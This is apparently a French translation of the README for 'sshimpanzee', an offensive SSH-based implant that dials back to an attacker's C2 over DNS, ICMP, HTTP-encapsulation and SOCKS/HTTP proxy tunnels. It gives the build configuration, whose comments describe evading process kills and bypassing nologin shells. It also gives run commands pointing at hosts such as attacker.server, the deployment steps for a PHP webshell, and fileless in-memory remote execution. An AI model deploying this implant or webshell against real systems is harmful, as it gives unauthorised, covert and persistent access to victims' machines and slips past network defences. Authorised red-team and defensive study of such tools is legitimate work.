
Implant basé sur SSHD prenant en charge des mécanismes de tunneling pour atteindre le C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...)
Sshimpanzee vous permet de construire un serveur ssh inverse statique. Au lieu d'écouter sur un port et d'attendre des connexions, le serveur ssh initie une connexion inversée vers l'IP de l'attaquant, comme un shell inversé classique. Sshimpanzee vous permet de profiter de toutes les fonctionnalités d'une connexion ssh classique, comme les redirections de ports, les proxys socks dynamiques, ou le serveur FTP.
Plus important encore, si une connexion directe de la machine victime au serveur attaquant n'est pas possible, il fournit différents mécanismes de tunnelisation tels que le Tunnel DNS, le Tunnel ICMP, ou l'Encapsulation HTTP. Il supporte également les proxys HTTP et SOCKS5. Un document technique est disponible sur le blog de lexfo.
sudo docker build . --output .
sudo docker build . --platform arm64 --output .
Vous devrez peut-être activer la variable d'environnement DOCKER_BUILDKIT=1
La construction est basée sur le fichier build.yaml :
###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###
### General config
process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)
banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log
shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000 # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead
keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"
make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds
### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior
env:
if_not_set : # Variable here will be set if they do not already exists
REMOTE: 127.0.0.1
PORT: 8080
MODE: sock # MODE environment variable is used to manage the default tunnel
overwrite: # Variable here will overwrite already existent
### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here
tun:
sock:
enabled: True
icmp:
enabled: True
buildserv: True # should the corresponding ICMPTunnel server be built
raw_sock: False # build with support for raw sock for older kernels
http_enc :
enabled: True
key: # web shell key, empty will result in a new key being generated
target:
- "php" # list of language you want to generate webshells for
path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells
dns:
enabled: True
resource: sshimpanzee # DNS2TCP Resource
key: sshimpanzee # DNS2TCP key
obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
buildserv: False
qtype: TXT # Type of query used by DNS2TCP
proxysock:
enabled: True
no_build:
enabled: False
path: []
# Openssh subsystems
# man sshd_config Subsystems
subsystems:
internal_sftp: # standard sftp as provided by openssh
enabled: True # It is required for scp and sftp
name: sftp
exec: internal-sftp
is_internal: True
remote_exec: # Sshimpanzee custom subsystem
enabled: True # remote execution using fileless memfd technique
name: remote-exec
exec: internal-remote-exec
is_internal: True
python: # example of a stadard ssh subsystem
enabled: False
name: python
exec: /usr/bin/python -c "print('python code')"
is_internal: False
Au moment de l'exécution, le binaire sshimpanzee est configuré via des variables d'environnement.
La variable MODE permet à l'utilisateur de sélectionner parmi les tunnels compilés.
Chaque tunnel peut être configuré via des variables d'environnement.
Par exemple, pour obtenir une connexion inversée classique vers 127.0.0.1:8080, utilisez les commandes suivantes :
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
Il est possible d'exécuter sshimpanzee en mode débogage avec -d. En mode débogage, sshimpanzee reste au premier plan.
Actuellement, sshimpanzee supporte plusieurs moyens pour que l'implant atteigne le client ssh attaquant :
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
Autres exemples :
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # bind and listen to 127.0.0.1:8080
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee
Autres exemples :
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee
Autres exemples :
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee
Téléchargez les fichiers /tuns/http_enc/proxy.php et sshd sur votre serveur web cible
Assurez-vous que proxy.php est correctement exécuté
Exécutez le binaire sshd sur le serveur web :
MODE=http_enc ./sshimpanzee
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT
Plusieurs arguments peuvent être passés à proxy_cli.py pour ajouter des proxys. Actuellement, seul PHP est supporté. Sur un serveur JSP, il est recommandé d'utiliser : A Black Path Toward The Sun (ABPTTS)
proxy.php est un webshell minimal, vous pouvez l'utiliser pour télécharger sshd sur le serveur et exécuter des commandes. proxy_cli.py propose les options --run et --drop pour ce faire.
Vous pourriez expérimenter un délai d'entrée important, car un délai de 1 à 5 secondes est ajouté aux paquets envoyés par le client ssh pour éviter de générer trop de requêtes http. Si cela ne vous dérange pas de générer beaucoup de requêtes http (et donc beaucoup de logs sur le serveur web), ajoutez l'option --no-buffer à la commande proxy_cli.py.
Ce dépôt fournit également un client situé dans utils/client/bin. Copiez simplement la clé CLIENT dans utils/client/keys/
sshimpanzee --new PORT #crée un nouvel écouteur sur PORT
sshimpanzee --new-dns #crée un nouvel écouteur DNS (N'oubliez pas de modifier utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #crée un nouvel écouteur ICMP
sshimpanzee --new-http PROXY_PHP_URL #crée une nouvelle session HTTP
sshimpanzee --list #liste les sessions disponibles
sshimpanzee --get SESSION_NUMBER #pour entrer dans une session, les paramètres supplémentaires sont passés comme paramètres ssh
sshimpanzee --rename SESSION_NUMBER #pour renommer une session
sshimpanzee --kill SESSION_NUMBER #pour tuer une session
sshimpanzee #utilise fzf pour sélectionner la session souhaitée
Cependant, cela peut être moins fiable que d'utiliser ssh directement.
Tous les tunnels sont disponibles dans le répertoire tuns/. Si vous souhaitez ajouter un autre tunnel, ajoutez simplement une fonction avec le nom de votre tunnel dans tuns/builder.py. Cette fonction est responsable de la génération d'une archive libtun.a contenant autant de .o que nécessaire, dont l'un exporte un symbole tun(). Alternativement, vous pouvez construire vous-même la libtun.a et utiliser le tunnel appelé no_build, en fournissant le chemin vers votre libtun.a personnalisée.
Si sshimpanzee est construit avec le module de sous-système remote-exec, il est possible d'exécuter du code à distance entièrement en mémoire.
python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1
Ce dépôt s'appuie sur de nombreux projets différents.
Pour les tunnels :
Il est important de noter que ce n'est pas un projet très original, l'armement du protocole ssh a déjà été réalisé il y a plusieurs années :